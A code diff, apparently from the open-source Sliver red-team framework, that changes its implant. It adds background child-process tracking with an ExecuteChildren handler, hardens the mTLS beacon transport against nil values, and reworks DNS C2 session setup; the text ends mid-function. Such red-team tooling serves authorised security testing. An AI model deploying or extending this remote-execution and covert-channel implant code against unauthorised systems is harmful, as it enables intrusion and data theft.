func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
|
||||
var (
|
||||
stdoutFile *os.File
|
||||
stderrFile *os.File
|
||||
err error
|
||||
)
|
||||
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
if stdoutPath != "" {
|
||||
stdoutFile, err = os.Create(stdoutPath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stdout = stdoutFile
|
||||
}
|
||||
if stderrPath != "" {
|
||||
stderrFile, err = os.Create(stderrPath)
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stderr = stderrFile
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var pid int32
|
||||
if cmd.Process != nil {
|
||||
pid = int32(cmd.Process.Pid)
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
entry := &executeChildEntry{
|
||||
PID: pid,
|
||||
Path: path,
|
||||
Args: append([]string(nil), args...),
|
||||
Stdout: stdoutPath,
|
||||
Stderr: stderrPath,
|
||||
StartTime: startTime,
|
||||
cmd: cmd,
|
||||
}
|
||||
executeChildrenMu.Lock()
|
||||
trackedExecuteChildren[pid] = entry
|
||||
trimTrackedExecuteChildrenLocked()
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
|
||||
waitErr := cmd.Wait()
|
||||
|
||||
exitCode := int32(0)
|
||||
waitErrStr := ""
|
||||
if waitErr != nil {
|
||||
if exitErr, ok := waitErr.(*exec.ExitError); ok {
|
||||
exitCode = int32(exitErr.ExitCode())
|
||||
} else {
|
||||
exitCode = -1
|
||||
waitErrStr = waitErr.Error()
|
||||
}
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
executeChildrenMu.Lock()
|
||||
entry := trackedExecuteChildren[pid]
|
||||
if entry != nil {
|
||||
entry.Exited = true
|
||||
entry.ExitCode = exitCode
|
||||
entry.ExitTime = time.Now().Unix()
|
||||
entry.Error = waitErrStr
|
||||
entry.cmd = nil
|
||||
}
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
}(pid, cmd, stdoutFile, stderrFile, track)
|
||||
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
|
||||
executeChildrenMu.RLock()
|
||||
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
children = append(children, &sliverpb.ExecuteChild{
|
||||
Pid: entry.PID,
|
||||
Path: entry.Path,
|
||||
Args: append([]string(nil), entry.Args...),
|
||||
StartTime: entry.StartTime,
|
||||
Exited: entry.Exited,
|
||||
ExitCode: entry.ExitCode,
|
||||
ExitTime: entry.ExitTime,
|
||||
Stdout: entry.Stdout,
|
||||
Stderr: entry.Stderr,
|
||||
Error: entry.Error,
|
||||
})
|
||||
}
|
||||
executeChildrenMu.RUnlock()
|
||||
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
return children
|
||||
}
|
||||
|
||||
func executeChildrenHandler(data []byte, resp RPCResponse) {
|
||||
req := &sliverpb.ExecuteChildrenReq{}
|
||||
err := proto.Unmarshal(data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
execChildren := &sliverpb.ExecuteChildren{
|
||||
Children: snapshotExecuteChildren(),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
data, err = proto.Marshal(execChildren)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
|
||||
@@ -33,25 +33,26 @@ import (
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
@@ -34,23 +34,24 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Wasm Extensions - Note that execution can be done via a tunnel handler
|
||||
sliverpb.MsgRegisterWasmExtensionReq: registerWasmExtensionHandler,
|
||||
|
||||
@@ -45,24 +45,25 @@ import (
|
||||
|
||||
var (
|
||||
linuxHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgPsReq: psHandler,
|
||||
sliverpb.MsgTerminateReq: terminateHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
|
||||
sliverpb.MsgScreenshotReq: screenshotHandler,
|
||||
|
||||
|
||||
@@ -96,21 +96,22 @@ var (
|
||||
sliverpb.MsgMountReq: mountHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
sliverpb.MsgGrepReq: grepHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -386,7 +387,7 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -443,13 +444,19 @@ func executeWindowsHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
execResp.Stderr = stdErrBuff.Bytes()
|
||||
execResp.Stdout = stdOutBuff.Bytes()
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
resp(data, err)
|
||||
|
||||
@@ -37,6 +37,8 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
|
||||
"errors"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
|
||||
// {{end}}
|
||||
@@ -46,7 +48,6 @@ import (
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeWG}}
|
||||
"errors"
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
|
||||
@@ -208,6 +209,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if conn == nil {
|
||||
return errors.New("[mtls] connect returned nil conn")
|
||||
}
|
||||
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
@@ -217,21 +221,40 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
_ = conn.Close()
|
||||
return err
|
||||
}
|
||||
if muxSession == nil {
|
||||
_ = conn.Close()
|
||||
return errors.New("[mtls] failed to create yamux session (nil)")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
Recv: func() (*pb.Envelope, error) {
|
||||
if muxSession == nil {
|
||||
return nil, errors.New("[mtls] recv called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Accept()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return nil, errors.New("[mtls] accept returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if muxSession == nil {
|
||||
return errors.New("[mtls] send called with nil yamux session")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[mtls] open returned nil stream")
|
||||
}
|
||||
defer stream.Close()
|
||||
return mtls.WriteEnvelope(stream, envelope)
|
||||
},
|
||||
|
||||
@@ -46,6 +46,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
"net"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
}
|
||||
s.resolvers = []DNSResolver{}
|
||||
for _, server := range s.resolvConf.Servers {
|
||||
address, port := splitResolverAddress(server, s.resolvConf.Port)
|
||||
s.resolvers = append(s.resolvers,
|
||||
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
|
||||
)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
|
||||
// {{end}}
|
||||
|
||||
err = s.getDNSSessionID() // Get a 'dns session id'
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.fingerprintResolvers() // Fingerprint the resolvers
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
// Generate a random session ID locally. The server will only allocate state
|
||||
// after a successful INIT, which avoids an unauthenticated session bootstrap.
|
||||
if s.dnsSessionID == 0 {
|
||||
sid, err := s.randomDNSSessionID()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
s.dnsSessionID = sid
|
||||
}
|
||||
|
||||
// Key agreement with server
|
||||
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
resolver, _ := s.randomResolver()
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
ID: s.nextMsgID(),
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg send failure %v", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
if len(respData) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no data received in message")
|
||||
// {{end}}
|
||||
return ErrEmptyResponse
|
||||
var respData []byte
|
||||
var initErr error
|
||||
for _, resolver := range s.resolvers {
|
||||
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
|
||||
if initErr != nil {
|
||||
continue
|
||||
}
|
||||
if len(respData) < 1 {
|
||||
initErr = ErrEmptyResponse
|
||||
continue
|
||||
}
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
initErr = err
|
||||
continue
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
initErr = errInvalidDNSSessionID
|
||||
continue
|
||||
}
|
||||
initErr = nil
|
||||
break
|
||||
}
|
||||
|
||||
data, err := s.cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
if initErr != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg decryption failure %v", err)
|
||||
log.Printf("[dns] init msg send failure %v", initErr)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] init msg dns session id mismatch")
|
||||
// {{end}}
|
||||
return err
|
||||
return initErr
|
||||
}
|
||||
|
||||
// Good to go!
|
||||
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
|
||||
log.Printf("[dns] key exchange was successful!")
|
||||
// {{end}}
|
||||
|
||||
// Now that we have a server-side session, benchmark/fingerprint resolvers and
|
||||
// drop ones that error.
|
||||
s.fingerprintResolvers()
|
||||
if len(s.resolvers) < 1 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] no working resolvers!")
|
||||
// {{end}}
|
||||
return errNoResolvers
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] starting worker(s) ...")
|
||||
// {{end}}
|
||||
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
|
||||
return subdata, nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) getDNSSessionID() error {
|
||||
otpMsg, err := s.otpMsg()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
otpDomain, err := s.joinSubdataToParent(otpMsg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
|
||||
// {{end}}
|
||||
|
||||
var a []byte
|
||||
for _, resolver := range s.resolvers {
|
||||
a, _, err = resolver.A(otpDomain)
|
||||
if err == nil {
|
||||
break
|
||||
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
|
||||
// sessionID is 24-bit and must be non-zero.
|
||||
randBuf := make([]byte, 4)
|
||||
for {
|
||||
_, err := rand.Read(randBuf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
|
||||
if sid != 0 {
|
||||
return sid, nil
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return err // All resolvers failed
|
||||
}
|
||||
if len(a) < 1 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
|
||||
if s.dnsSessionID == 0 {
|
||||
return errInvalidDNSSessionID
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) loadResolvConf() error {
|
||||
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
|
||||
return err
|
||||
}
|
||||
|
||||
func splitResolverAddress(server string, defaultPort string) (string, string) {
|
||||
server = strings.TrimSpace(server)
|
||||
if server == "" {
|
||||
return "", defaultPort
|
||||
}
|
||||
|
||||
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
|
||||
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
|
||||
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
|
||||
if host, port, err := net.SplitHostPort(server); err == nil {
|
||||
return host, port
|
||||
}
|
||||
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
|
||||
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
|
||||
}
|
||||
return server, defaultPort
|
||||
}
|
||||
|
||||
// Joins subdata to the parent domain, you must have already done the math to
|
||||
// ensure the subdata can fit in the domain
|
||||
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
|
||||
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
func (s *SliverDNSClient) otpMsg() (string, error) {
|
||||
otpMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: uint32(0), // Take advantage of the variable length encoding
|
||||
}
|
||||
data, err := proto.Marshal(otpMsg)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
msg, _ := s.base32.Encode(data)
|
||||
return string(msg), nil
|
||||
}
|
||||
|
||||
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
|
||||
func (s *SliverDNSClient) fingerprintResolvers() {
|
||||
wg := &sync.WaitGroup{}
|
||||
|
||||
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
|
||||
}
|
||||
}
|
||||
|
||||
func TestOTPMsgRoundTrip(t *testing.T) {
|
||||
func TestRandomDNSSessionID(t *testing.T) {
|
||||
client := NewDNSClient(parent1, opts)
|
||||
encoded, err := client.otpMsg()
|
||||
sid, err := client.randomDNSSessionID()
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg error: %s", err)
|
||||
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
|
||||
}
|
||||
if !isBase32String(encoded) {
|
||||
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
|
||||
if sid == 0 {
|
||||
t.Fatal("expected non-zero dns session id")
|
||||
}
|
||||
raw, err := encoders.Base32{}.Decode([]byte(encoded))
|
||||
if err != nil {
|
||||
t.Fatalf("Unexpected otpMsg decode error: %s", err)
|
||||
}
|
||||
msg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, msg); err != nil {
|
||||
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
|
||||
}
|
||||
if msg.Type != dnspb.DNSMessageType_TOTP {
|
||||
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
|
||||
}
|
||||
if msg.ID != 0 {
|
||||
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
|
||||
if (sid & ^uint32(sessionIDBitMask)) != 0 {
|
||||
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"crypto/rand"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
|
||||
retries = 1
|
||||
}
|
||||
return &GenericResolver{
|
||||
address: address + ":" + port,
|
||||
address: net.JoinHostPort(address, port),
|
||||
retries: retries,
|
||||
retryWait: retryWait,
|
||||
resolver: &dns.Client{
|
||||
|
||||
@@ -21,7 +21,6 @@ package mtls
|
||||
// {{if .Config.IncludeMTLS}}
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
@@ -30,6 +29,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"reflect"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
|
||||
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
|
||||
}
|
||||
|
||||
func isNilInterface(v any) bool {
|
||||
if v == nil {
|
||||
return true
|
||||
}
|
||||
rv := reflect.ValueOf(v)
|
||||
switch rv.Kind() {
|
||||
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
|
||||
return rv.IsNil()
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func writeAll(w io.Writer, p []byte) error {
|
||||
for len(p) > 0 {
|
||||
n, err := w.Write(p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n <= 0 {
|
||||
return io.ErrShortWrite
|
||||
}
|
||||
p = p[n:]
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
// which is a fancy way of saying we write the length of the message then the message
|
||||
// e.g. [uint32 length|message] so the receiver can delimit messages properly
|
||||
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[mtls] nil envelope")
|
||||
}
|
||||
if isNilInterface(w) {
|
||||
return errors.New("[mtls] nil writer")
|
||||
}
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return fmt.Errorf("[mtls] marshal envelope: %w", err)
|
||||
}
|
||||
|
||||
signingKey, keyID, err := mtlsEnvelopeSigningKey()
|
||||
if err != nil {
|
||||
return err
|
||||
return fmt.Errorf("[mtls] envelope signing key: %w", err)
|
